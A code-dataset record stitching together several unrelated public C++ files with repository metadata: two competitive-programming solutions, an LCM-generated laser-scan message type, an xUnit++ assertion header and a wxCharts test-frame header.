fa52aad4fb6e6204abd7852771e241742dec9384
8d705d8d3fb123cc4ec7e84e52821c5c1883d380
/ICPC.Regional/2005.Central_Europe/3527.cpp
6bb1723c1ea28b7d90e2ca655c1139105f8a4610
[]
no_license
ailyanlu1/ACM-ICPC-OJ-Code
446ceff5ad94d64391ce4d86bb706023323cb1f1
344b2c92f75b428d0241ba732c43de780d08df40
refs/heads/master
2020-03-22T21:09:01.656511
2015-03-11T00:10:27
2015-03-11T00:10:27
null
0
0
null
null
null
null
UTF-8
C++
false
false
789
cpp
// CII 3527 // 2005 Central Europe: Find the Clones #include <cstdio> #include <cstring> #include <algorithm> using namespace std; #define N 20005 typedef long long ll; int n, m; int map[100]; short ans[N]; ll num[N]; void get(int x) { num[x] = 0; for (int i = 0; i < m; i++) { char ch = getchar(); num[x] = (num[x] << 2) | map[(int) ch]; } getchar(); } int main() { map['A'] = 0, map['T'] = 1, map['C'] = 2, map['G'] = 3; while (scanf("%d%d\n", &n, &m) && n + m) { int i, dup; memset(ans, 0, sizeof(ans)); for (i = 0; i < n; i++) get(i); sort(num, num + n); dup = 1; for (i = 1; i < n; i++) { if (num[i] == num[i - 1]) dup++; else { ans[dup]++; dup = 1; } } ans[dup]++; for (i = 1; i <= n; i++) printf("%d\n", ans[i]); } return 0; }
[ "gz.pkkj@gmail.com" ]
gz.pkkj@gmail.com
4cdac48c904b260dc78a0b231f683faa29c10b17
219d59bff317c531670b45ff70f2e6e6f4e36281
/src/lcmtypes/maebot_laser_scan_t.hpp
ce0656e2c1b984c80ca3cdf8f384e9961dfaea74
[]
no_license
medstone/EECS467
c44f8563951d087f01251d5fba2e70832d51b46a
fb3c9574e2ed376189c7c83343e0df89b6ed2e64
refs/heads/master
2021-01-10T07:34:41.334660
2016-01-12T23:31:13
2016-01-12T23:31:13
49,513,716
0
0
null
null
null
null
UTF-8
C++
false
false
6,703
hpp
/** THIS IS AN AUTOMATICALLY GENERATED FILE. DO NOT MODIFY * BY HAND!! * * Generated by lcm-gen **/ #include <lcm/lcm_coretypes.h> #ifndef __maebot_laser_scan_t_hpp__ #define __maebot_laser_scan_t_hpp__ #include <vector> class maebot_laser_scan_t { public: int64_t utime; int32_t num_ranges; std::vector< float > ranges; std::vector< float > thetas; std::vector< int64_t > times; std::vector< float > intensities; public: /** * Encode a message into binary form. * * @param buf The output buffer. * @param offset Encoding starts at thie byte offset into @p buf. * @param maxlen Maximum number of bytes to write. This should generally be * equal to getEncodedSize(). * @return The number of bytes encoded, or <0 on error. */ inline int encode(void *buf, int offset, int maxlen) const; /** * Check how many bytes are required to encode this message. */ inline int getEncodedSize() const; /** * Decode a message from binary form into this instance. * * @param buf The buffer containing the encoded message. * @param offset The byte offset into @p buf where the encoded message starts. * @param maxlen The maximum number of bytes to reqad while decoding. * @return The number of bytes decoded, or <0 if an error occured. */ inline int decode(const void *buf, int offset, int maxlen); /** * Retrieve the 64-bit fingerprint identifying the structure of the message. * Note that the fingerprint is the same for all instances of the same * message type, and is a fingerprint on the message type definition, not on * the message contents. */ inline static int64_t getHash(); /** * Returns "maebot_laser_scan_t" */ inline static const char* getTypeName(); // LCM support functions. Users should not call these inline int _encodeNoHash(void *buf, int offset, int maxlen) const; inline int _getEncodedSizeNoHash() const; inline int _decodeNoHash(const void *buf, int offset, int maxlen); inline static uint64_t _computeHash(const __lcm_hash_ptr *p); }; int maebot_laser_scan_t::encode(void *buf, int offset, int maxlen) const { int pos = 0, tlen; int64_t hash = (int64_t)getHash(); tlen = __int64_t_encode_array(buf, offset + pos, maxlen - pos, &hash, 1); if(tlen < 0) return tlen; else pos += tlen; tlen = this->_encodeNoHash(buf, offset + pos, maxlen - pos); if (tlen < 0) return tlen; else pos += tlen; return pos; } int maebot_laser_scan_t::decode(const void *buf, int offset, int maxlen) { int pos = 0, thislen; int64_t msg_hash; thislen = __int64_t_decode_array(buf, offset + pos, maxlen - pos, &msg_hash, 1); if (thislen < 0) return thislen; else pos += thislen; if (msg_hash != getHash()) return -1; thislen = this->_decodeNoHash(buf, offset + pos, maxlen - pos); if (thislen < 0) return thislen; else pos += thislen; return pos; } int maebot_laser_scan_t::getEncodedSize() const { return 8 + _getEncodedSizeNoHash(); } int64_t maebot_laser_scan_t::getHash() { static int64_t hash = _computeHash(NULL); return hash; } const char* maebot_laser_scan_t::getTypeName() { return "maebot_laser_scan_t"; } int maebot_laser_scan_t::_encodeNoHash(void *buf, int offset, int maxlen) const { int pos = 0, tlen; tlen = __int64_t_encode_array(buf, offset + pos, maxlen - pos, &this->utime, 1); if(tlen < 0) return tlen; else pos += tlen; tlen = __int32_t_encode_array(buf, offset + pos, maxlen - pos, &this->num_ranges, 1); if(tlen < 0) return tlen; else pos += tlen; if(this->num_ranges > 0) { tlen = __float_encode_array(buf, offset + pos, maxlen - pos, &this->ranges[0], this->num_ranges); if(tlen < 0) return tlen; else pos += tlen; } if(this->num_ranges > 0) { tlen = __float_encode_array(buf, offset + pos, maxlen - pos, &this->thetas[0], this->num_ranges); if(tlen < 0) return tlen; else pos += tlen; } if(this->num_ranges > 0) { tlen = __int64_t_encode_array(buf, offset + pos, maxlen - pos, &this->times[0], this->num_ranges); if(tlen < 0) return tlen; else pos += tlen; } if(this->num_ranges > 0) { tlen = __float_encode_array(buf, offset + pos, maxlen - pos, &this->intensities[0], this->num_ranges); if(tlen < 0) return tlen; else pos += tlen; } return pos; } int maebot_laser_scan_t::_decodeNoHash(const void *buf, int offset, int maxlen) { int pos = 0, tlen; tlen = __int64_t_decode_array(buf, offset + pos, maxlen - pos, &this->utime, 1); if(tlen < 0) return tlen; else pos += tlen; tlen = __int32_t_decode_array(buf, offset + pos, maxlen - pos, &this->num_ranges, 1); if(tlen < 0) return tlen; else pos += tlen; if(this->num_ranges) { this->ranges.resize(this->num_ranges); tlen = __float_decode_array(buf, offset + pos, maxlen - pos, &this->ranges[0], this->num_ranges); if(tlen < 0) return tlen; else pos += tlen; } if(this->num_ranges) { this->thetas.resize(this->num_ranges); tlen = __float_decode_array(buf, offset + pos, maxlen - pos, &this->thetas[0], this->num_ranges); if(tlen < 0) return tlen; else pos += tlen; } if(this->num_ranges) { this->times.resize(this->num_ranges); tlen = __int64_t_decode_array(buf, offset + pos, maxlen - pos, &this->times[0], this->num_ranges); if(tlen < 0) return tlen; else pos += tlen; } if(this->num_ranges) { this->intensities.resize(this->num_ranges); tlen = __float_decode_array(buf, offset + pos, maxlen - pos, &this->intensities[0], this->num_ranges); if(tlen < 0) return tlen; else pos += tlen; } return pos; } int maebot_laser_scan_t::_getEncodedSizeNoHash() const { int enc_size = 0; enc_size += __int64_t_encoded_array_size(NULL, 1); enc_size += __int32_t_encoded_array_size(NULL, 1); enc_size += __float_encoded_array_size(NULL, this->num_ranges); enc_size += __float_encoded_array_size(NULL, this->num_ranges); enc_size += __int64_t_encoded_array_size(NULL, this->num_ranges); enc_size += __float_encoded_array_size(NULL, this->num_ranges); return enc_size; } uint64_t maebot_laser_scan_t::_computeHash(const __lcm_hash_ptr *) { uint64_t hash = 0xc4ee2dc3cd282b67LL; return (hash<<1) + ((hash>>63)&1); } #endif
[ "medstone@caen-vnc19.engin.umich.edu" ]
medstone@caen-vnc19.engin.umich.edu
bb04caedd407d2881813f7318c122862e2fdf17b
abaf4a58495e28d0434e72f6cb1533f480e1a1bf
/include/xUnit++/xUnitAssert.h
59249b6de35997453d1d6bc423e1c642881a545b
[ "MIT" ]
permissive
FredrikL/libentity
211f1ebae6091cc0c5da68519c8611a2b8dd9a6b
bf5bdbc32a07f458da404353b9599c6f6cf43311
refs/heads/master
2021-01-16T22:56:26.252448
2013-08-10T23:58:19
2013-08-10T23:58:19
null
0
0
null
null
null
null
UTF-8
C++
false
false
24,139
h
#ifndef XUNITASSERT_H_ #define XUNITASSERT_H_ #if defined(_MSC_VER) # if !defined(_ALLOW_KEYWORD_MACROS) # define _ALLOW_KEYWORD_MACROS # endif #define noexcept(x) #endif #include <algorithm> #include <exception> #include <functional> #include <memory> #include <sstream> #include <stdexcept> #include <string> #include <type_traits> #include <vector> #include "LineInfo.h" #include "xUnitToString.h" namespace xUnitpp { class xUnitAssert { public: xUnitAssert(std::string &&call, LineInfo &&lineInfo); xUnitAssert &CustomMessage(std::string &&message); xUnitAssert &Expected(std::string &&expected); xUnitAssert &Actual(std::string &&actual); template<typename T> xUnitAssert &AppendUserMessage(T &&value) { *userMessage << ToString(std::forward<T>(value)); return *this; } const std::string &Call() const; std::string UserMessage() const; const std::string &CustomMessage() const; const std::string &Expected() const; const std::string &Actual() const; const xUnitpp::LineInfo &LineInfo() const; static xUnitAssert None(); private: xUnitpp::LineInfo lineInfo; std::string call; std::string customMessage; std::string expected; std::string actual; std::shared_ptr<std::stringstream> userMessage; }; class xUnitFailure { private: xUnitFailure(); public: xUnitFailure(xUnitAssert &&assert, std::function<void(const xUnitAssert &)> onFailureComplete); xUnitFailure(const xUnitFailure &other); #if !defined(_MSC_VER) // !!!VS remove the #if/#endif when VS can compile this code xUnitFailure(xUnitFailure &&) = default; #endif ~xUnitFailure() noexcept(false); static xUnitFailure None(); template<typename T> xUnitFailure &operator <<(T &&value) { assert.AppendUserMessage(std::forward<T>(value)); return *this; } template<typename T> xUnitFailure &operator <<(const T &value) { assert.AppendUserMessage(value); return *this; } private: xUnitFailure &operator =(xUnitFailure other) /* = delete */; private: std::function<void(const xUnitAssert &)> OnFailureComplete; xUnitAssert assert; int &refCount; }; class Assert { protected: static double round(double value, size_t precision); template<typename T> static std::string RangeToString(T begin, T end) { typedef decltype(*begin) val_type; std::string result = "[ "; std::for_each(std::forward<T>(begin), std::forward<T>(end), [&result](val_type val) { result += ToString(std::forward<val_type>(val)) + ", "; }); result[result.size() - 2] = ' '; result[result.size() - 1] = ']'; return result; } template<typename T> struct has_empty { private: template<typename U, U> class check {}; template<typename C> static char f(check<bool (C::*)() const, &C::empty> *); template<typename C> static long f(...); public: static const bool value = (sizeof(f<T>(nullptr)) == sizeof(char)); }; xUnitFailure OnFailure(xUnitAssert &&assert) const; xUnitFailure OnSuccess() const; std::string callPrefix; std::function<void (const xUnitAssert &)> handleFailure; public: template<typename TExpected, typename TActual, typename TComparer> xUnitFailure Equal(TExpected expected, TActual actual, TComparer &&comparer, LineInfo &&lineInfo = LineInfo()) const { if (!comparer(std::forward<TExpected>(expected), std::forward<TActual>(actual))) { return OnFailure(std::move(xUnitAssert(callPrefix + "Equal", std::move(lineInfo)) .Expected(ToString(std::forward<TExpected>(expected))) .Actual(ToString(std::forward<TActual>(actual))))); } return OnSuccess(); } template<typename TExpected, typename TActual> typename std::enable_if< !std::is_constructible<std::string, TExpected>::value || !std::is_constructible<std::string, TActual>::value, xUnitFailure>::type Equal(TExpected expected, TActual actual, LineInfo &&lineInfo = LineInfo()) const { return Equal(std::forward<TExpected>(expected), std::forward<TActual>(actual), [](TExpected &&expected, TActual &&actual) { return expected == actual; }, std::move(lineInfo)); } template<typename TExpected, typename TActual> typename std::enable_if< std::is_constructible<std::string, TExpected>::value && std::is_constructible<std::string, TActual>::value, xUnitFailure>::type Equal(TExpected expected, TActual actual, LineInfo &&lineInfo = LineInfo()) const { return Equal(std::string(std::forward<TExpected>(expected)), std::string(std::forward<TActual>(actual)), std::move(lineInfo)); } xUnitFailure Equal(const std::string &expected, const std::string &actual, LineInfo &&lineInfo = LineInfo()) const; xUnitFailure Equal(float expected, float actual, int precision, LineInfo &&lineInfo = LineInfo()) const; xUnitFailure Equal(double expected, double actual, int precision, LineInfo &&lineInfo = LineInfo()) const; template<typename TExpected, typename TActual, typename TComparer> xUnitFailure Equal(TExpected &&expectedBegin, TExpected &&expectedEnd, TActual &&actualBegin, TActual &&actualEnd, TComparer &&comparer, LineInfo &&lineInfo = LineInfo()) const { auto expected = expectedBegin; auto actual = actualBegin; size_t index = 0; while (expected != expectedEnd && actual != actualEnd) { if (!comparer(*expected, *actual)) { break; } ++expected; ++actual; ++index; } if (expected != expectedEnd || actual != actualEnd) { return OnFailure(std::move(xUnitAssert(callPrefix + "Equal", std::move(lineInfo)) .CustomMessage("Sequence unequal at location " + ToString(index) + ".") .Expected(RangeToString(std::forward<TExpected>(expectedBegin), std::forward<TExpected>(expectedEnd))) .Actual(RangeToString(std::forward<TActual>(actualBegin), std::forward<TActual>(actualEnd))))); } return OnSuccess(); } template<typename TExpected, typename TActual> xUnitFailure Equal(TExpected &&expectedBegin, TExpected &&expectedEnd, TActual &&actualBegin, TActual &&actualEnd, LineInfo &&lineInfo = LineInfo()) const { return Equal(std::forward<TExpected>(expectedBegin), std::forward<TExpected>(expectedEnd), std::forward<TActual>(actualBegin), std::forward<TActual>(actualEnd), [](decltype(*expectedBegin) &&a, decltype(*actualBegin) &&b) { return a == b; }, std::move(lineInfo)); } template<typename TExpected, typename TActual, typename TComparer> xUnitFailure NotEqual(TExpected expected, TActual actual, TComparer &&comparer, LineInfo &&lineInfo = LineInfo()) const { if (comparer(std::forward<TExpected>(expected), std::forward<TActual>(actual))) { return OnFailure(std::move(xUnitAssert(callPrefix + "NotEqual", std::move(lineInfo)))); } return OnSuccess(); } template<typename TExpected, typename TActual> typename std::enable_if< !std::is_constructible<std::string, TExpected>::value || !std::is_constructible<std::string, TActual>::value, xUnitFailure>::type NotEqual(TExpected expected, TActual actual, LineInfo &&lineInfo = LineInfo()) const { return NotEqual(std::forward<TExpected>(expected), std::forward<TActual>(actual), [](TExpected &&expected, TActual &&actual) { return expected == actual; }, std::move(lineInfo)); } template<typename TExpected, typename TActual> typename std::enable_if< std::is_constructible<std::string, TExpected>::value && std::is_constructible<std::string, TActual>::value, xUnitFailure>::type NotEqual(TExpected expected, TActual actual, LineInfo &&lineInfo = LineInfo()) const { return NotEqual(std::string(std::forward<TExpected>(expected)), std::string(std::forward<TActual>(actual)), std::move(lineInfo)); } xUnitFailure NotEqual(const std::string &expected, const std::string &actual, LineInfo &&lineInfo = LineInfo()) const; template<typename TExpected, typename TActual, typename TComparer> xUnitFailure NotEqual(TExpected &&expectedBegin, TExpected &&expectedEnd, TActual &&actualBegin, TActual &&actualEnd, TComparer &&comparer, LineInfo &&lineInfo = LineInfo()) const { auto expected = expectedBegin; auto actual = actualBegin; while (expected != expectedEnd && actual != actualEnd) { if (!comparer(*expected, *actual)) { break; } ++expected; ++actual; } if (expected == expectedEnd && actual == actualEnd) { return OnFailure(std::move(xUnitAssert(callPrefix + "NotEqual", std::move(lineInfo)))); } return OnSuccess(); } template<typename TExpected, typename TActual> xUnitFailure NotEqual(TExpected &&expectedBegin, TExpected &&expectedEnd, TActual &&actualBegin, TActual &&actualEnd, LineInfo &&lineInfo = LineInfo()) const { return NotEqual(std::forward<TExpected>(expectedBegin), std::forward<TExpected>(expectedEnd), std::forward<TActual>(actualBegin), std::forward<TActual>(actualEnd), [](decltype(*expectedBegin) &&a, decltype(*actualBegin) &&b) { return a == b; }, std::move(lineInfo)); } template<typename TFunc> xUnitFailure DoesNotThrow(TFunc &&fn, LineInfo &&lineInfo = LineInfo()) const { try { fn(); } catch (const std::exception &e) { return OnFailure(std::move(xUnitAssert(callPrefix + "DoesNotThrow", std::move(lineInfo)) .Expected("(no exception)") .Actual(e.what()))); } catch (...) { return OnFailure(std::move(xUnitAssert(callPrefix + "DoesNotThrow", std::move(lineInfo)) .Expected("(no exception)") .Actual("Crash: unknown exception."))); } return OnSuccess(); } xUnitFailure Fail(LineInfo &&lineInfo = LineInfo()) const; xUnitFailure False(bool b, LineInfo &&lineInfo = LineInfo()) const; xUnitFailure True(bool b, LineInfo &&lineInfo = LineInfo()) const; template<typename TSequence> typename std::enable_if<has_empty<typename std::remove_reference<TSequence>::type>::value, xUnitFailure>::type Empty(TSequence &&sequence, LineInfo &&lineInfo = LineInfo()) const { if (!sequence.empty()) { return OnFailure(std::move(xUnitAssert(callPrefix + "Empty", std::move(lineInfo)))); } return OnSuccess(); } template<typename TSequence> typename std::enable_if<!has_empty<typename std::remove_reference<TSequence>::type>::value, xUnitFailure>::type Empty(TSequence &&sequence, LineInfo &&lineInfo = LineInfo()) const { using std::begin; using std::end; if (begin(std::forward<TSequence>(sequence)) != end(std::forward<TSequence>(sequence))) { return OnFailure(std::move(xUnitAssert(callPrefix + "Empty", std::move(lineInfo)))); } return OnSuccess(); } template<typename TSequence> typename std::enable_if<has_empty<TSequence>::value, xUnitFailure>::type NotEmpty(TSequence &&sequence, LineInfo &&lineInfo = LineInfo()) const { if (sequence.empty()) { return OnFailure(std::move(xUnitAssert(callPrefix + "NotEmpty", std::move(lineInfo)))); } return OnSuccess(); } template<typename TSequence> typename std::enable_if<!has_empty<TSequence>::value, xUnitFailure>::type NotEmpty(TSequence &&sequence, LineInfo &&lineInfo = LineInfo()) const { using std::begin; using std::end; if (begin(std::forward<TSequence>(sequence)) == end(std::forward<TSequence>(sequence))) { return OnFailure(std::move(xUnitAssert(callPrefix + "NotEmpty", std::move(lineInfo)))); } return OnSuccess(); } template<typename TSequence, typename TPredicate> xUnitFailure DoesNotContainPred(const TSequence &sequence, TPredicate &&predicate, LineInfo &&lineInfo = LineInfo()) const { using std::begin; using std::end; auto found = std::find_if(begin(sequence), end(sequence), std::forward<TPredicate>(predicate)); if (found != end(std::forward<TSequence>(sequence))) { return OnFailure(std::move(xUnitAssert(callPrefix + "DoesNotContain", std::move(lineInfo)) .CustomMessage("Found: matching value at position " + ToString(std::distance(begin(sequence), found)) + "."))); } return OnSuccess(); } template<typename TSequence, typename T> typename std::enable_if< !std::is_constructible<std::string, TSequence>::value || !std::is_constructible<std::string, T>::value, xUnitFailure >::type DoesNotContain(const TSequence &sequence, T &&value, LineInfo &&lineInfo = LineInfo()) const { using std::begin; using std::end; if (std::find(begin(sequence), end(sequence), std::forward<T>(value)) != end(sequence)) { return OnFailure(std::move(xUnitAssert(callPrefix + "DoesNotContain", std::move(lineInfo)))); } return OnSuccess(); } template<typename TActualString, typename TValueString> typename std::enable_if< std::is_constructible<std::string, TActualString>::value && std::is_constructible<std::string, TValueString>::value, xUnitFailure >::type DoesNotContain(TActualString actualString, TValueString value, LineInfo &&lineInfo = LineInfo()) const { return DoesNotContain(std::string(std::forward<TActualString>(actualString)), std::string(std::forward<TValueString>(value)), std::move(lineInfo)); } xUnitFailure DoesNotContain(const std::string &actualString, const std::string &value, LineInfo &&lineInfo = LineInfo()) const; template<typename TSequence, typename TPredicate> xUnitFailure ContainsPred(const TSequence &sequence, TPredicate &&predicate, LineInfo &&lineInfo = LineInfo()) const { using std::begin; using std::end; if (std::find_if(begin(sequence), end(sequence), std::forward<TPredicate>(predicate)) == end(sequence)) { return OnFailure(std::move(xUnitAssert(callPrefix + "Contains", std::move(lineInfo)))); } return OnSuccess(); } template<typename TSequence, typename T> typename std::enable_if< !std::is_constructible<std::string, TSequence>::value || !std::is_constructible<std::string, T>::value, xUnitFailure >::type Contains(const TSequence &sequence, T &&value, LineInfo &&lineInfo = LineInfo()) const { using std::begin; using std::end; if (std::find(begin(sequence), end(sequence), std::forward<T>(value)) == end(sequence)) { return OnFailure(std::move(xUnitAssert(callPrefix + "Contains", std::move(lineInfo)))); } return OnSuccess(); } template<typename TActualString, typename TValueString> typename std::enable_if< std::is_constructible<std::string, TActualString>::value && std::is_constructible<std::string, TValueString>::value, xUnitFailure >::type Contains(TActualString actualString, TValueString value, LineInfo &&lineInfo = LineInfo()) const { return Contains(std::string(std::forward<TActualString>(actualString)), std::string(std::forward<TValueString>(value)), std::move(lineInfo)); } xUnitFailure Contains(const std::string &actualString, const std::string &value, LineInfo &&lineInfo = LineInfo()) const; template<typename TActual, typename TRange> xUnitFailure InRange(TActual &&actual, TRange &&min, TRange &&max, LineInfo &&lineInfo = LineInfo()) const { if (min >= max) { throw std::invalid_argument("Assert.InRange argument error: min (" + ToString(std::forward<TRange>(min)) + ") must be strictly less than max (" + ToString(std::forward<TRange>(max)) + ")."); } if (actual < min || actual >= max) { return OnFailure(std::move(xUnitAssert(callPrefix + "InRange", std::move(lineInfo)) .Expected("[" + ToString(std::forward<TRange>(min)) + " - " + ToString(std::forward<TRange>(max)) + ")") .Actual(ToString(std::forward<TActual>(actual))))); } return OnSuccess(); } template<typename TActual, typename TRange> xUnitFailure NotInRange(TActual &&actual, TRange &&min, TRange &&max, LineInfo &&lineInfo = LineInfo()) const { if (min >= max) { throw std::invalid_argument("Assert.NotInRange argument error: min (" + ToString(std::forward<TRange>(min)) + ") must be strictly less than max (" + ToString(std::forward<TRange>(max)) + ")."); } if (actual >= min && actual < max) { return OnFailure(std::move(xUnitAssert(callPrefix + "NotInRange", std::move(lineInfo)) .Expected("[" + ToString(std::forward<TRange>(min)) + " - " + ToString(std::forward<TRange>(max)) + ")") .Actual(ToString(std::forward<TActual>(actual))))); } return OnSuccess(); } template<typename T> xUnitFailure NotNull(T &&value, LineInfo &&lineInfo = LineInfo()) const { if (value == nullptr) { return OnFailure(std::move(xUnitAssert(callPrefix + "NotNull", std::move(lineInfo)))); } return OnSuccess(); } template<typename T> xUnitFailure Null(T &&value, LineInfo &&lineInfo = LineInfo()) const { if (value != nullptr) { return OnFailure(std::move(xUnitAssert(callPrefix + "Null", std::move(lineInfo)))); } return OnSuccess(); } template<typename T> xUnitFailure NotSame(const T &expected, const T &actual, LineInfo &&lineInfo = LineInfo()) const { if (&expected == &actual) { return OnFailure(std::move(xUnitAssert(callPrefix + "NotSame", std::move(lineInfo)))); } return OnSuccess(); } template<typename T> xUnitFailure NotSame(const T *expected, const T *actual, LineInfo &&lineInfo = LineInfo()) const { if (expected == actual) { return OnFailure(std::move(xUnitAssert(callPrefix + "NotSame", std::move(lineInfo)))); } return OnSuccess(); } template<typename T> xUnitFailure NotSame(T *expected, T *actual, LineInfo &&lineInfo = LineInfo()) const { if (expected == actual) { return OnFailure(std::move(xUnitAssert(callPrefix + "NotSame", std::move(lineInfo)))); } return OnSuccess(); } template<typename T> xUnitFailure Same(const T &expected, const T &actual, LineInfo &&lineInfo = LineInfo()) const { if (&expected != &actual) { return OnFailure(std::move(xUnitAssert(callPrefix + "Same", std::move(lineInfo)))); } return OnSuccess(); } template<typename T> xUnitFailure Same(T *expected, T *actual, LineInfo &&lineInfo = LineInfo()) const { if (expected != actual) { return OnFailure(std::move(xUnitAssert("Same", std::move(lineInfo)))); } return OnSuccess(); } template<typename T> xUnitFailure Same(const T *expected, const T *actual, LineInfo &&lineInfo = LineInfo()) const { if (expected != actual) { return OnFailure(std::move(xUnitAssert("Same", std::move(lineInfo)))); } return OnSuccess(); } Assert(std::string &&callPrefix = "Assert.", std::function<void (const xUnitAssert &)> &&onFailure = [](const xUnitAssert &assert) { throw assert; }); }; const class : public Assert { private: // Fixes #10: can't Assert.Throws<std::exception> because std::exception is then caught twice // with thanks to Alf on StackOverflow for this one // http://stackoverflow.com/questions/5101516/why-function-template-cannot-be-partially-specialized template<typename TException, typename TFunc> struct ThrowsImpl { static TException impl(const std::string &callPrefix, TFunc &&fn, const std::string &msg, LineInfo &&lineInfo = LineInfo()) { try { fn(); } catch (const TException &e) { return e; } catch (const std::exception &e) { throw xUnitAssert(callPrefix + "Throws", std::move(lineInfo)) .Expected(typeid(TException).name()) .Actual(e.what()) .AppendUserMessage(msg); } catch (...) { throw xUnitAssert(callPrefix + "Throws", std::move(lineInfo)) .Expected(typeid(TException).name()) .Actual("Crash: unknown exception.") .AppendUserMessage(msg); } throw xUnitAssert(callPrefix + "Throws", std::move(lineInfo)) .Expected(typeid(TException).name()) .Actual("No exception.") .AppendUserMessage(msg); } }; // partial specialization for catching std::exception template<typename TFunc> struct ThrowsImpl<std::exception, TFunc> { static std::exception impl(const std::string &callPrefix, TFunc &&fn, const std::string &msg, LineInfo &&lineInfo = LineInfo()) { try { fn(); } catch (const std::exception &e) { return e; } catch (...) { throw xUnitAssert(callPrefix + "Throws", std::move(lineInfo)) .Expected(typeid(std::exception).name()) .Actual("Crash: unknown exception.") .AppendUserMessage(msg); } throw xUnitAssert(callPrefix + "Throws", std::move(lineInfo)) .Expected(typeid(std::exception).name()) .Actual("No exception.") .AppendUserMessage(msg); } }; public: template<typename TException, typename TFunc> TException Throws(TFunc &&fn, const std::string &msg, LineInfo &&lineInfo = LineInfo()) const { return ThrowsImpl<TException, TFunc>::impl(callPrefix, std::forward<TFunc>(fn), msg, std::move(lineInfo)); } template<typename TException, typename TFunc> TException Throws(TFunc &&fn, LineInfo &&lineInfo = LineInfo()) const { return Throws<TException>(std::forward<TFunc>(fn), "", std::move(lineInfo)); } } Assert #if !defined(_MSC_VER) // !!!VS remove the #if/#endif when VS can compile this code = {} // constant instance of class requires user-defined default constructor, or initializer list #endif ; } #endif
[ "dan@emergent-design.co.uk" ]
dan@emergent-design.co.uk
0a69129c95cd586162a360dc1425c567d44a3d8f
3ba08f16fe7fd3e55e7d73539698266db6559b9e
/tests/src/wxchartstestsframe.h
c0040cd68862c6e0f130aada2b6c6eb531ab6125
[ "MIT" ]
permissive
Kvaz1r/wxCharts
967fe849bb38cde816b0ba3c44d7319e07118dc7
273a28b35ccf059d35d37762278e9c3115a79a32
refs/heads/master
2020-04-04T20:08:46.567331
2019-01-17T14:45:12
2019-01-17T14:45:12
58,365,538
0
0
null
2016-05-09T09:39:17
2016-05-09T09:39:17
null
UTF-8
C++
false
false
3,008
h
/* Copyright (c) 2018-2019 Xavier Leclercq Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #ifndef _TESTS_WX_CHARTS_WXCHARTSTESTSFRAME_H_ #define _TESTS_WX_CHARTS_WXCHARTSTESTSFRAME_H_ #include <wx/frame.h> #include <wx/panel.h> #include <wx/textctrl.h> class wxChartsTestsFrame : public wxFrame { public: wxChartsTestsFrame(const wxString& title); private: void OnExit(wxCommandEvent& evt); void OnDefaultTheme(wxCommandEvent& evt); void OnChartRectangleElement(wxCommandEvent& evt); void OnChartLabelElement(wxCommandEvent& evt); void OnChartCategoricalAxisElement(wxCommandEvent& evt); void OnChartNumericalAxisElement(wxCommandEvent& evt); void OnChartGridElement(wxCommandEvent& evt); void OnAreaChart(wxCommandEvent& evt); void OnBarChart(wxCommandEvent& evt); void OnBubbleChart(wxCommandEvent& evt); void OnCandlestickChart(wxCommandEvent& evt); void OnColumnChart(wxCommandEvent& evt); void OnLineChart(wxCommandEvent& evt); void OnPieChart(wxCommandEvent& evt); void OnPolarAreaChart(wxCommandEvent& evt); void OnStackedBarChart(wxCommandEvent& evt); void OnStackedColumnChart(wxCommandEvent& evt); void OnRunAllTests(wxCommandEvent& evt); void SwitchPanel(wxPanel* newPanel); private: wxPanel* m_mainPanel; wxTextCtrl* m_output; wxPanel* m_currentPanel; wxPanel* m_chartsDefaultThemePanel; wxPanel* m_chartRectanglePanel; wxPanel* m_chartLabelPanel; wxPanel* m_chartCategoricalAxisPanel; wxPanel* m_chartNumericalAxisPanel; wxPanel* m_chartGridPanel; wxPanel* m_areaChartPanel; wxPanel* m_barChartPanel; wxPanel* m_bubbleChartPanel; wxPanel* m_candlestickChartPanel; wxPanel* m_columnChartPanel; wxPanel* m_lineChartPanel; wxPanel* m_pieChartPanel; wxPanel* m_polarAreaChartPanel; wxPanel* m_stackedBarChartPanel; wxPanel* m_stackedColumnChartPanel; wxDECLARE_EVENT_TABLE(); }; #endif
[ "xavier.leclercq@needfulsoftware.com" ]
xavier.leclercq@needfulsoftware.com
8130e7d1bd6d6f713d8d2eddde10c53eb34169f7
7c2c9d48a3f93f42b134a29d06a9b076ebedf822
/AC/09500/9520.cpp
e6778947e5c5a488c5a57fbb1a9dd7404cb47a63
[]
no_license
devnok/BOJ
b2f44d8f337df04ddc5bc5c81ff89d00fc0f2d9f
ee20d43fdac24eb5a9dd9b80676789f9f169bdb0
refs/heads/master
2022-08-09T10:07:36.835458
2022-08-02T12:04:55
2022-08-02T12:04:55
224,916,286
0
0
null
null
null
null
UTF-8
C++
false
false
849
cpp
#include<iostream> #include<vector> #include<algorithm> #include<string.h> using namespace std; typedef pair<int,int> pii; typedef long long int lld; const int MAXN = 1501; const int INF = 987654321; int n,adj[MAXN][MAXN],dp[MAXN][MAXN],ans=INF; int main(){ ios_base::sync_with_stdio(false); cout.tie(NULL); cin.tie(NULL); cin>>n; for(int i=1;i<=n;i++){ for(int j=1;j<=n;j++) cin>>adj[i][j]; } fill(&dp[0][0],&dp[n][n],INF); dp[1][2]=adj[1][2]; for(int i=2;i<=n;i++){ for(int j=1;j<i;j++){ dp[j][i+1] = min(dp[j][i+1],dp[j][i]+adj[i][i+1]); dp[i][i+1] = min(dp[i][i+1],dp[j][i]+adj[j][i+1]); } } for(int i=1;i<=n;i++){ for(int j=1;j<=n;j++) cout<<dp[i][j]<<" "; cout<<endl; } for(int i=1;i<n;i++) ans = min(ans,dp[i][n]); cout<<ans; }
[ "ha819ha.dev@gmail.com" ]
ha819ha.dev@gmail.com
3074d675067e3c9ad102fa6f845175d563ce657f
